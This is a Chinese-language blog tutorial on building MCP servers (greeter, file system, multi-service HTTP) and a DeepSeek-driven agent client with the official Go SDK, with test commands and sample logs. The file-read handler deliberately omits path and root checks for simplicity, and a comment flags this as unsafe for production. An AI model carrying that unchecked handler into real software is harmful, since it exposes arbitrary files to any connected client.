\u0026#34;1.0.0\u0026#34;, nil) // 2. 添加工具 // NewServerTool 利用泛型和反射自动生成输入 schema server.AddTools( mcp.NewServerTool(\u0026#34;greet\u0026#34;, \u0026#34;Say hi to someone\u0026#34;, SayHi), ) // 3. 通过 StdioTransport 运行服务，它会监听标准输入/输出 log.Println(\u0026#34;Greeter server running over stdio...\u0026#34;) if err := server.Run(context.Background(), mcp.NewStdioTransport()); err != nil { log.Fatalf(\u0026#34;Server run failed: %v\u0026#34;, err) } } 在不依赖任何特殊客户端的情况下，我们可以通过管道向这个基于 stdio 的服务发送一系列原生的 JSON-RPC 消息，来模拟完整的客户端握手和工具调用流程。\n步骤一：运行服务并发送请求序列\n打开你的终端，执行以下命令。这行命令会使用 printf 来确保每个 JSON 对象都以换行符分隔，模拟一个完整的会话流程：\n发送 initialize 请求，启动会话。\n发送 initialized 通知，确认会话建立。\n发送 tools/call 请求，调用 greet 工具。\n在greeter目录下执行下面命令：\nprintf \u0026#39;%s\\n\u0026#39; \\ \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:1,\u0026#34;method\u0026#34;:\u0026#34;initialize\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;clientInfo\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;test-cli\u0026#34;,\u0026#34;version\u0026#34;:\u0026#34;0.1\u0026#34;},\u0026#34;protocolVersion\u0026#34;:\u0026#34;2025-03-26\u0026#34;}}\u0026#39; \\ \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;notifications/initialized\u0026#34;,\u0026#34;params\u0026#34;:{}}\u0026#39; \\ \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:2,\u0026#34;method\u0026#34;:\u0026#34;tools/call\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;greet\u0026#34;,\u0026#34;arguments\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;Go MCP Enthusiast\u0026#34;}}}\u0026#39; \\ | go run main.go 预期输出：\n服务会处理这三个消息，并对两个有 ID 的请求（initialize 和 tools/call）作出响应。你将看到两个 JSON-RPC 响应对象被打印到标准输出（顺序可能会因并发处理而不同，但内容是固定的）：\n2025/07/08 17:05:46 Greeter server running over stdio... {\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:1,\u0026#34;result\u0026#34;:{\u0026#34;capabilities\u0026#34;:{\u0026#34;completions\u0026#34;:{},\u0026#34;logging\u0026#34;:{},\u0026#34;prompts\u0026#34;:{\u0026#34;listChanged\u0026#34;:true},\u0026#34;resources\u0026#34;:{\u0026#34;listChanged\u0026#34;:true},\u0026#34;tools\u0026#34;:{\u0026#34;listChanged\u0026#34;:true}},\u0026#34;protocolVersion\u0026#34;:\u0026#34;2025-03-26\u0026#34;,\u0026#34;serverInfo\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;greeter-server\u0026#34;,\u0026#34;version\u0026#34;:\u0026#34;1.0.0\u0026#34;}}} {\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:2,\u0026#34;result\u0026#34;:{\u0026#34;content\u0026#34;:[{\u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;,\u0026#34;text\u0026#34;:\u0026#34;Hi Go MCP Enthusiast, welcome to the Go MCP world!\u0026#34;}]}} 看到这两个响应，证明我们的 Greeter 服务已经成功地完成了握手并正确响应了工具调用。\n场景二：文件系统服务 (File System Server) 这个场景也通过 stdio 运行，展示了如何通过 Resource 机制，安全地向 LLM 暴露本地文件系统的读写能力。\n// fileserver/main.go package main import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; \u0026#34;path/filepath\u0026#34; \u0026#34;github.com/modelcontextprotocol/go-sdk/mcp\u0026#34; ) func main() { server := mcp.NewServer(\u0026#34;filesystem-server\u0026#34;, \u0026#34;1.0.0\u0026#34;, nil) pwd, err := os.Getwd() if err != nil { log.Fatalf(\u0026#34;Failed to get current directory: %v\u0026#34;, err) } log.Printf(\u0026#34;File server serving from directory: %s\u0026#34;, pwd) // 使用我们自己实现的 File Handler handler := createFileHandler(pwd) // 添加一个虚构的资源，用于列出目录内容 server.AddResources(\u0026amp;mcp.ServerResource{ Resource: \u0026amp;mcp.Resource{ URI: \u0026#34;mcp://fs/list\u0026#34;, Name: \u0026#34;list_files\u0026#34;, Description: \u0026#34;List all non-directory files in the current directory.\u0026#34;, }, Handler: listDirectoryHandler(pwd), }) // 添加一个资源模板，用于读取指定的文件 server.AddResourceTemplates(\u0026amp;mcp.ServerResourceTemplate{ ResourceTemplate: \u0026amp;mcp.ResourceTemplate{ Name: \u0026#34;read_file\u0026#34;, URITemplate: \u0026#34;file:///{+filename}\u0026#34;, Description: \u0026#34;Read a specific file from the directory. \u0026#39;filename\u0026#39; is the relative path to the file.\u0026#34;, }, Handler: handler, }) log.Println(\u0026#34;File system server running over stdio...\u0026#34;) if err := server.Run(context.Background(), mcp.NewStdioTransport()); err != nil { log.Fatalf(\u0026#34;Server run failed: %v\u0026#34;, err) } } // createFileHandler 是一个简化的、用于演示的 ResourceHandler 工厂函数。 func createFileHandler(baseDir string) mcp.ResourceHandler { return func(ctx context.Context, ss *mcp.ServerSession, params *mcp.ReadResourceParams) (*mcp.ReadResourceResult, error) { // 注意：在生产环境中，这里必须调用 ss.ListRoots() 来获取客户端授权的 // 根目录，并进行严格的安全检查。 // 为了让这个入门示例能用简单的管道命令验证，我们暂时省略了这个双向调用。 requestedPath := filepath.Join(baseDir, filepath.FromSlash(params.URI[len(\u0026#34;file:///\u0026#34;):])) data, err := os.ReadFile(requestedPath) if err != nil { if os.IsNotExist(err) { return nil, mcp.ResourceNotFoundError(params.URI) } return nil, fmt.Errorf(\u0026#34;failed to read file: %w\u0026#34;, err) } return \u0026amp;mcp.ReadResourceResult{ Contents: []*mcp.ResourceContents{ {URI: params.URI, MIMEType: \u0026#34;text/plain\u0026#34;, Text: string(data)}, }, }, nil } } // listDirectoryHandler 是一个自定义的 ResourceHandler，用于实现列出目录的功能 func listDirectoryHandler(dir string) mcp.ResourceHandler { return func(ctx context.Context, ss *mcp.ServerSession, params *mcp.ReadResourceParams) (*mcp.ReadResourceResult, error) { // 同样，为简化本地验证，暂时省略对 ss.ListRoots() 的调用。 entries, err := os.ReadDir(dir) if err != nil { return nil, fmt.Errorf(\u0026#34;failed to read directory: %w\u0026#34;, err) } var fileList string for _, e := range entries { if !e.IsDir() { fileList += e.Name() + \u0026#34;\\n\u0026#34; } } if fileList == \u0026#34;\u0026#34; { fileList = \u0026#34;(The directory is empty or contains no files)\u0026#34; } return \u0026amp;mcp.ReadResourceResult{ Contents: []*mcp.ResourceContents{ {URI: params.URI, MIMEType: \u0026#34;text/plain\u0026#34;, Text: fileList}, }, }, nil } } 文件服务同样需要完整的握手流程。我们将用与上面类似的方式来验证其功能。\n步骤一：准备测试文件\n首先，在你的项目根目录下创建一个简单的文本文件。\necho \u0026#34;Hello from the File System MCP Server!\u0026#34; \u0026gt; my-test-file.txt 步骤二：验证“列出文件”功能\n我们发送包含 initialize、initialized 和 resources/read 的请求序列。\n在fileserver下执行下面命令：\nprintf \u0026#39;%s\\n\u0026#39; \\ \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:1,\u0026#34;method\u0026#34;:\u0026#34;initialize\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;clientInfo\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;test-cli\u0026#34;,\u0026#34;version\u0026#34;:\u0026#34;0.1\u0026#34;},\u0026#34;protocolVersion\u0026#34;:\u0026#34;2025-03-26\u0026#34;}}\u0026#39; \\ \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;notifications/initialized\u0026#34;,\u0026#34;params\u0026#34;:{}}\u0026#39; \\ \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:2,\u0026#34;method\u0026#34;:\u0026#34;resources/read\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;uri\u0026#34;:\u0026#34;mcp://fs/list\u0026#34;}}\u0026#39; \\ | go run main.go 预期输出：\n你将看到 initialize 的响应，以及 resources/read 的响应，后者包含了目录文件列表。\n2025/07/08 18:13:47 File system server running over stdio... {\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:1,\u0026#34;result\u0026#34;:{\u0026#34;capabilities\u0026#34;:{\u0026#34;completions\u0026#34;:{},\u0026#34;logging\u0026#34;:{},\u0026#34;prompts\u0026#34;:{\u0026#34;listChanged\u0026#34;:true},\u0026#34;resources\u0026#34;:{\u0026#34;listChanged\u0026#34;:true},\u0026#34;tools\u0026#34;:{\u0026#34;listChanged\u0026#34;:true}},\u0026#34;protocolVersion\u0026#34;:\u0026#34;2025-03-26\u0026#34;,\u0026#34;serverInfo\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;filesystem-server\u0026#34;,\u0026#34;version\u0026#34;:\u0026#34;1.0.0\u0026#34;}}} {\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:2,\u0026#34;result\u0026#34;:{\u0026#34;contents\u0026#34;:[{\u0026#34;uri\u0026#34;:\u0026#34;mcp://fs/list\u0026#34;,\u0026#34;mimeType\u0026#34;:\u0026#34;text/plain\u0026#34;,\u0026#34;text\u0026#34;:\u0026#34;go.mod\\ngo.sum\\nmain.go\\nmy-test-file.txt\\n\u0026#34;}]}} 步骤三：验证“读取文件”功能\n现在，我们发送请求序列来读取 my-test-file.txt 的内容。\nprintf \u0026#39;%s\\n\u0026#39; \\ \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:1,\u0026#34;method\u0026#34;:\u0026#34;initialize\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;clientInfo\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;test-cli\u0026#34;,\u0026#34;version\u0026#34;:\u0026#34;0.1\u0026#34;},\u0026#34;protocolVersion\u0026#34;:\u0026#34;2025-03-26\u0026#34;}}\u0026#39; \\ \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;notifications/initialized\u0026#34;,\u0026#34;params\u0026#34;:{}}\u0026#39; \\ \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:3,\u0026#34;method\u0026#34;:\u0026#34;resources/read\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;uri\u0026#34;:\u0026#34;file:///my-test-file.txt\u0026#34;}}\u0026#39; \\ | go run main.go 预期输出：\n除了 initialize 的响应外，你将看到包含文件内容的 resources/read 响应。\n2025/07/08 18:15:12 File server serving from directory: /Users/tonybai/go/src/github.com/bigwhite/experiments/mcp-go-sdk/fileserver 2025/07/08 18:15:12 File system server running over stdio... {\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:1,\u0026#34;result\u0026#34;:{\u0026#34;capabilities\u0026#34;:{\u0026#34;completions\u0026#34;:{},\u0026#34;logging\u0026#34;:{},\u0026#34;prompts\u0026#34;:{\u0026#34;listChanged\u0026#34;:true},\u0026#34;resources\u0026#34;:{\u0026#34;listChanged\u0026#34;:true},\u0026#34;tools\u0026#34;:{\u0026#34;listChanged\u0026#34;:true}},\u0026#34;protocolVersion\u0026#34;:\u0026#34;2025-03-26\u0026#34;,\u0026#34;serverInfo\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;filesystem-server\u0026#34;,\u0026#34;version\u0026#34;:\u0026#34;1.0.0\u0026#34;}}} {\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:3,\u0026#34;result\u0026#34;:{\u0026#34;contents\u0026#34;:[{\u0026#34;uri\u0026#34;:\u0026#34;file:///my-test-file.txt\u0026#34;,\u0026#34;mimeType\u0026#34;:\u0026#34;text/plain\u0026#34;,\u0026#34;text\u0026#34;:\u0026#34;Hello from the File System MCP Server\\n\u0026#34;}]}} 步骤四：清理\n测试完成后，可以删除测试文件。\nrm my-test-file.txt 场景三：多路复用 HTTP 服务 (Multi-Service HTTP Server) 这个场景展示了如何使用 StreamableHTTPHandler 在单个 HTTP 端点上提供多个不同的 MCP 服务。\n完整代码：httpserver/main.go\npackage main import ( \u0026#34;context\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;github.com/modelcontextprotocol/go-sdk/mcp\u0026#34; ) // HiParams 和 SayHi 函数与场景一相同 type HiParams struct{ Name string json:\u0026#34;name\u0026#34; } func SayHi(ctx context.Context, _ *mcp.ServerSession, params *mcp.CallToolParamsFor[HiParams]) (*mcp.CallToolResultFor[any], error) { resultText := fmt.Sprintf(\u0026#34;Hi %s, this response is from the HTTP server!\u0026#34;, params.Arguments.Name) return \u0026amp;mcp.CallToolResultFor[any]{ Content: []mcp.Content{\u0026amp;mcp.TextContent{Text: resultText}}, }, nil } // AddParams 和 Add 工具的实现 type AddParams struct{ A, B int } func Add(_ context.Context, _ *mcp.ServerSession, params *mcp.CallToolParamsFor[AddParams]) (*mcp.CallToolResultFor[any], error) { result := params.Arguments.A + params.Arguments.B return \u0026amp;mcp.CallToolResultFor[any]{ Content: []mcp.Content{\u0026amp;mcp.TextContent{Text: fmt.Sprintf(\u0026#34;The sum is: %d\u0026#34;, result)}}, }, nil } func main() { // 1. 创建 Greeter 服务实例 greeterServer := mcp.NewServer(\u0026#34;greeter-service\u0026#34;, \u0026#34;1.0\u0026#34;, nil) greeterServer.AddTools(mcp.NewServerTool(\u0026#34;greet\u0026#34;, \u0026#34;Say hi\u0026#34;, SayHi)) // 2. 创建 Math 服务实例 mathServer := mcp.NewServer(\u0026#34;math-service\u0026#34;, \u0026#34;1.0\u0026#34;, nil) mathServer.AddTools(mcp.NewServerTool(\u0026#34;add\u0026#34;, \u0026#34;Add two integers\u0026#34;, Add)) // 3. 创建 StreamableHTTPHandler handler := mcp.NewStreamableHTTPHandler(func(request *http.Request) *mcp.Server { log.Printf(\u0026#34;Routing request for URL: %s\\n\u0026#34;, request.URL.Path) switch request.URL.Path { case \u0026#34;/greeter\u0026#34;: return greeterServer case \u0026#34;/math\u0026#34;: return mathServer default: return nil // 返回 nil 将导致 404 Not Found } }, nil) // 4. 启动标准的 Go HTTP 服务器 addr := \u0026#34;:8080\u0026#34; log.Printf(\u0026#34;Multi-service MCP server listening at http://localhost%s\\n\u0026#34;, addr) if err := http.ListenAndServe(addr, handler); err != nil { log.Fatalf(\u0026#34;HTTP server failed: %v\u0026#34;, err) } } 与基于 stdio 的简单服务不同，验证 Streamable HTTP 服务使用 curl 等工具会非常繁琐。这是因为 MCP 是一个有状态的协议，要求客户端在发送工具调用之前，必须先完成一个包含 initialize 请求和 initialized 通知的多步“握手”流程来建立会话。\n一个简单的 curl 命令无法管理这种有状态的交互。因此，最理想的验证方式是使用一个真正的 MCP 客户端。我们将在下一节构建这样一个客户端——agent，然后用集成了大模型的它来统一验证我们创建的所有三个服务，包括这个 HTTP 服务。\n集成大模型：让 Go Agent 直接成为 MCP 客户端 在前面的章节中，我们成功构建了三种不同类型的 MCP 服务。现在，是时候将它们与 AI 大模型（以 DeepSeek 为例）集成，构建一个能够调度这些mcp server工具的智能 Agent 了。\n一个常见的思路可能是创建一个通用的命令行工具（CLI）来调用这些服务，然后让我们的 Go Agent 程序去执行这个 CLI。然而，既然我们的 Agent 本身就是用 Go 编写的，一个更优雅、更高效、更符合 Go 语言习惯的方式是：让 Agent 程序直接导入 modelcontextprotocol/go-sdk，将自己作为原生的 MCP 客户端来与服务通信。\n这种方法避免了不必要的进程开销和数据序列化，使得整个系统更加内聚和高性能。接下来，我们将编写这样一个 Go Agent。\nPart 1: 编写 Go Agent 程序 这个程序将承担所有角色：它既是与 DeepSeek 模型对话的主循环，也是调用我们 MCP 服务的客户端。\n准备工作：\n安装 OpenAI Go SDK：go get github.com/openai/openai-go 获取 DeepSeek API Key，并设置为环境变量：export DEEPSEEK_API_KEY=”your-api-key” 完整代码：agent/main.go\n// agent/main.go package main import ( \u0026#34;context\u0026#34; \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; \u0026#34;os/exec\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;github.com/modelcontextprotocol/go-sdk/mcp\u0026#34; \u0026#34;github.com/openai/openai-go\u0026#34; \u0026#34;github.com/openai/openai-go/option\u0026#34; ) // serverConfig 结构体用于管理不同 MCP 服务的连接信息 type serverConfig struct { ServerCmd string // 用于 stdio 服务 HTTPAddr string // 用于 http 服务 } // toolRegistry 映射对 LLM 友好的工具别名到其服务配置 var toolRegistry = map[string]serverConfig{ \u0026#34;greet\u0026#34;: {ServerCmd: \u0026#34;go run ../greeter/main.go\u0026#34;}, \u0026#34;add\u0026#34;: {HTTPAddr: \u0026#34;http://localhost:8080/math\u0026#34;}, \u0026#34;list_files\u0026#34;: {ServerCmd: \u0026#34;go run ../fileserver/main.go\u0026#34;}, \u0026#34;read_file\u0026#34;: {ServerCmd: \u0026#34;go run ../fileserver/main.go\u0026#34;}, } // invokeMCPTool 是 Agent 的核心函数，负责直接与 MCP 服务通信 func invokeMCPTool(toolAlias string, arguments map[string]interface{}) (string, error) { config, ok := toolRegistry[toolAlias] if !ok { return \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;unknown tool alias: %s\u0026#34;, toolAlias) } // 1. 将 LLM 友好的别名和参数，转换为真正的 MCP 请求 mcpToolName := toolAlias mcpArguments := arguments if toolAlias == \u0026#34;list_files\u0026#34; { mcpToolName = \u0026#34;resources/read\u0026#34; mcpArguments = map[string]interface{}{\u0026#34;uri\u0026#34;: \u0026#34;mcp://fs/list\u0026#34;} } else if toolAlias == \u0026#34;read_file\u0026#34; { mcpToolName = \u0026#34;resources/read\u0026#34; if filename, ok := arguments[\u0026#34;filename\u0026#34;].(string); ok { mcpArguments = map[string]interface{}{\u0026#34;uri\u0026#34;: \u0026#34;file:///\u0026#34; + filename} } else { return \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;tool \u0026#39;read_file\u0026#39; requires a \u0026#39;filename\u0026#39; argument\u0026#34;) } } // 2. 创建 MCP 客户端实例 client := mcp.NewClient(\u0026#34;go-agent\u0026#34;, \u0026#34;1.0\u0026#34;, nil) // 3. 根据配置选择并创建 Transport var transport mcp.Transport if config.ServerCmd != \u0026#34;\u0026#34; { cmdParts := strings.Fields(config.ServerCmd) transport = mcp.NewCommandTransport(exec.Command(cmdParts[0], cmdParts[1:]...)) } else { transport = mcp.NewStreamableClientTransport(config.HTTPAddr, nil) } // 4. 授权客户端访问本地文件系统（仅对文件服务调用有效） client.AddRoots(\u0026amp;mcp.Root{URI: \u0026#34;file://./\u0026#34;}) // 5. 连接到服务器，建立会话 ctx := context.Background() session, err := client.Connect(ctx, transport) if err != nil { return \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;failed to connect to MCP server for tool %s: %w\u0026#34;, toolAlias, err) } defer session.Close() // 每次调用都是一个独立的会话，确保关闭 // 6. 执行调用并处理结果 var resultText string if mcpToolName == \u0026#34;resources/read\u0026#34; { res, err := session.ReadResource(ctx, \u0026amp;mcp.ReadResourceParams{ URI: mcpArguments[\u0026#34;uri\u0026#34;].(string), }) if err != nil { return \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;ReadResource failed: %w\u0026#34;, err) } var sb strings.Builder for _, c := range res.Contents { sb.WriteString(c.Text) } resultText = sb.String() } else { res, err := session.CallTool(ctx, \u0026amp;mcp.CallToolParams{ Name: mcpToolName, Arguments: mcpArguments, }) if err != nil { return \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;CallTool failed: %w\u0026#34;, err) } if res.IsError { return \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;tool execution failed: %s\u0026#34;, res.Content[0].(*mcp.TextContent).Text) } resultText = res.Content[0].(*mcp.TextContent).Text } return resultText, nil } func main() { apiKey := os.Getenv(\u0026#34;DEEPSEEK_API_KEY\u0026#34;) if apiKey == \u0026#34;\u0026#34; { log.Fatal(\u0026#34;DEEPSEEK_API_KEY environment variable not set.\u0026#34;) } client := openai.NewClient( option.WithAPIKey(apiKey), option.WithBaseURL(\u0026#34;https://api.deepseek.com/v1\u0026#34;), ) // 为所有工具使用合法的名称，特别是为 resources/read 创建别名 tools := []openai.ChatCompletionToolParam{ { Function: openai.FunctionDefinitionParam{ Name: \u0026#34;greet\u0026#34;, Description: openai.String(\u0026#34;Say hi to someone.\u0026#34;), Parameters: openai.FunctionParameters{ \u0026#34;type\u0026#34;: \u0026#34;object\u0026#34;, \u0026#34;properties\u0026#34;: map[string]interface{}{\u0026#34;name\u0026#34;: map[string]string{\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name of the person to greet\u0026#34;}}, \u0026#34;required\u0026#34;: []string{\u0026#34;name\u0026#34;}, }, }, }, { Function: openai.FunctionDefinitionParam{ Name: \u0026#34;add\u0026#34;, Description: openai.String(\u0026#34;Add two integers.\u0026#34;), Parameters: openai.FunctionParameters{ \u0026#34;type\u0026#34;: \u0026#34;object\u0026#34;, \u0026#34;properties\u0026#34;: map[string]interface{}{\u0026#34;A\u0026#34;: map[string]string{\u0026#34;type\u0026#34;: \u0026#34;integer\u0026#34;}, \u0026#34;B\u0026#34;: map[string]string{\u0026#34;type\u0026#34;: \u0026#34;integer\u0026#34;}}, \u0026#34;required\u0026#34;: []string{\u0026#34;A\u0026#34;, \u0026#34;B\u0026#34;}, }, }, }, { Function: openai.FunctionDefinitionParam{ Name: \u0026#34;list_files\u0026#34;, Description: openai.String(\u0026#34;List all non-directory files in the current project directory.\u0026#34;), Parameters: openai.FunctionParameters{\u0026#34;type\u0026#34;: \u0026#34;object\u0026#34;, \u0026#34;properties\u0026#34;: map[string]interface{}{}}, }, }, { Function: openai.FunctionDefinitionParam{ Name: \u0026#34;read_file\u0026#34;, Description: openai.String(\u0026#34;Read the content of a specific file.\u0026#34;), Parameters: openai.FunctionParameters{ \u0026#34;type\u0026#34;: \u0026#34;object\u0026#34;, \u0026#34;properties\u0026#34;: map[string]interface{}{\u0026#34;filename\u0026#34;: map[string]string{\u0026#34;type\u0026#34;: \u0026#34;string\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The name of the file to read.\u0026#34;}}, \u0026#34;required\u0026#34;: []string{\u0026#34;filename\u0026#34;}, }, }, }, } messages := []openai.ChatCompletionMessageParamUnion{ openai.SystemMessage(\u0026#34;You are a helpful assistant with access to local tools. You must call tools by using the tool_calls response format. Don\u0026#39;t make assumptions about what values to plug into functions. Ask for clarification if a user request is ambiguous.\u0026#34;), openai.UserMessage(\u0026#34;Hi, can you greet my friend Alex, add 5 and 7, and then list the files in my project?\u0026#34;), } ctx := context.Background() for i := 0; i \u0026lt; 5; i++ { log.Println(\u0026#34;--- Sending request to DeepSeek ---\u0026#34;) resp, err := client.Chat.Completions.New(ctx, openai.ChatCompletionNewParams{Model: \u0026#34;deepseek-chat\u0026#34;, Messages: messages, Tools: tools}) if err != nil { log.Fatalf(\u0026#34;ChatCompletion error: %v\\n\u0026#34;, err) } if len(resp.Choices) == 0 { log.Fatal(\u0026#34;No choices returned from API\u0026#34;) } msg := resp.Choices[0].Message messages = append(messages, msg.ToParam()) if msg.ToolCalls != nil { for _, toolCall := range msg.ToolCalls { functionName := toolCall.Function.Name var arguments map[string]interface{} if err := json.Unmarshal([]byte(toolCall.Function.Arguments), \u0026amp;arguments); err != nil { log.Fatalf(\u0026#34;Failed to unmarshal function arguments: %v\u0026#34;, err) } log.Printf(\u0026#34;--- LLM wants to call tool: %s with args: %v ---\\n\u0026#34;, functionName, arguments) // 直接调用我们的 Go 函数，该函数内建了 MCP 客户端逻辑 toolResult, err := invokeMCPTool(functionName, arguments) if err != nil { log.Printf(\u0026#34;Tool call failed: %v\\n\u0026#34;, err) toolResult = fmt.Sprintf(\u0026#34;Error executing tool: %v\u0026#34;, err) } log.Printf(\u0026#34;--- Tool result: ---\\n%s\\n---------------------\\n\u0026#34;, toolResult) messages = append(messages, openai.ToolMessage(toolResult, toolCall.ID)) } continue } log.Println(\u0026#34;--- Final response from LLM ---\u0026#34;) log.Println(msg.Content) return } log.Println(\u0026#34;Reached max conversation turns.\u0026#34;) } 注：上述代码使用了OpenAI的function calling api，不过即便不用function calling api，通过prompt依然可以实现mcp server接口的调用(需要自行解析response)，大家可以自行实现一下。\nPart 2: 集成验证 现在，我们的 agent 程序已经是一个功能齐全的、内建了 MCP 客户端的智能体。让我们来验证它的工作流程。\n启动 httpserver： agent 会通过 HTTP 调用 math 服务，所以我们必须先在后台运行它。\ngo run ./httpserver/main.go \u0026amp; HTTP_PID=$! 创建测试文件： 为文件服务准备一个可供读取的文件。\necho \u0026#34;This file will be read by our Go AI Agent.\u0026#34; \u0026gt; agent-test.txt 运行 agent 程序： 确保你的 DEEPSEEK_API_KEY 已经设置。\ngo run ./agent/main.go 预期的输出流程:\n你的终端将清晰地展示 AI Agent 的思考和行动链。它直接在内部与各个 MCP 服务进行高效的 Go-to-Go通信。\n$DEEPSEEK_API_KEY=\u0026lt;your_deepseek_api_key\u0026gt; go run main.go 2025/07/08 19:17:42 --- Sending request to DeepSeek --- 2025/07/08 19:17:53 --- LLM wants to call tool: greet with args: map[name:Alex] --- 2025/07/08 19:17:53 --- Tool result: --- Hi Alex, welcome to the Go MCP world! --------------------- 2025/07/08 19:17:53 --- LLM wants to call tool: add with args: map[A:5 B:7] --- 2025/07/08 19:17:53 --- Tool result: --- The sum is: 12 --------------------- 2025/07/08 19:17:53 --- LLM wants to call tool: list_files with args: map[] --- 2025/07/08 19:17:53 --- Tool result: --- go.mod go.sum main.go --------------------- 2025/07/08 19:17:53 --- Sending request to DeepSeek --- 2025/07/08 19:18:07 --- Final response from LLM --- 2025/07/08 19:18:07 Here\u0026#39;s what you asked for: 1. **Greeting for Alex**: Hi Alex, welcome to the Go MCP world! 2. **Addition of 5 and 7**: The sum is 12. 3. **Files in your project**: - go.mod - go.sum - main.go Let me know if you\u0026#39;d like to do anything else! 最后，做一下清理工作：\nkill $HTTP_PID rm agent-test.txt 小结 通过本次从零到一的实践，我们不仅学习了如何使用 modelcontextprotocol/go-sdk 构建支持不同通信协议的 MCP 服务，更重要的是，我们探索并实现了将 Go Agent 程序直接作为原生 MCP 客户端的实践。\n这种直接通过库调用的内聚架构，相比于通过外部 CLI 工具进行解耦的方式，充分发挥了 Go 语言的优势：\n高性能：避免了不必要的进程创建和数据序列化开销，使得工具调用和响应链条更短、更高效。 强类型与健壮性：整个调用链路都在 Go 的类型系统内完成，错误处理清晰，代码更易于维护和调试。 简洁的工程实现：它展示了一种更加优雅和符合 Go 语言习惯的工程模式，让 AI Agent 的构建过程如同编写任何一个普通的 Go 应用一样自然。 modelcontextprotocol/go-sdk 不仅仅是一个协议的实现，它更像一个宣言：Go 语言凭借其出色的并发模型、强大的类型系统和简洁的工程哲学，完全有能力成为构建下一代高性能、高可靠性 AI Agent 和工具化应用的首选后端语言。\n虽然官方 SDK 仍在快速迭代中，但其展现出的潜力和清晰的设计哲学已经足够令人振奋。我们鼓励所有对 Go 和 AI 结合感兴趣的开发者，立即上手体验。这个 SDK 无疑将成为连接你的 Go 程序与广阔智能模型世界之间最坚固、最标准的桥梁。\n本文涉及源码可以在这里下载。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/10/mcp-official-go-sdk/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/mcp-official-go-sdk-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/10/mcp-official-go-sdk\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/10/mcp-official-go-sdk\"\u003ehttps://tonybai.com/2025/07/10/mcp-official-go-sdk\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e随着大型语言模型（LLM）的能力边界不断扩展，“function calling”或“tool use”已成为释放其潜力的关键。MCP（Model Context 